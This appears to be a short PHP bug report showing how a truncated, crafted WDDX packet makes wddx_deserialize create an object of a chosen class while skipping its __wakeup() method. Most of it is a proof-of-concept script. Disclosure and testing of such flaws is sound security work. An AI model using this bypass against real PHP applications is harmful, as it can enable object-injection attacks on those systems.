Description:
------------
Create an Unexpected Object in During WDDX Deserialization

In During WDDX Deserialization, an unexpected object can be created via the crafted wddx pockets, and bypass __wakeup() method

PoC:
```
class obj {
	function __wakeup() {
		var_dump('hi');
	}
}

$wddx = <<<EOT
<?xml version='1.0'?>
<wddxPacket version='1.0'>
<header/>
	<data>
		<struct>
			<var name='php_class_name'>
				<string>obj</string>
			</var>
			<var name='prop'>
				<string>ryat</string>
			</var>
EOT;

var_dump(wddx_deserialize($wddx));
```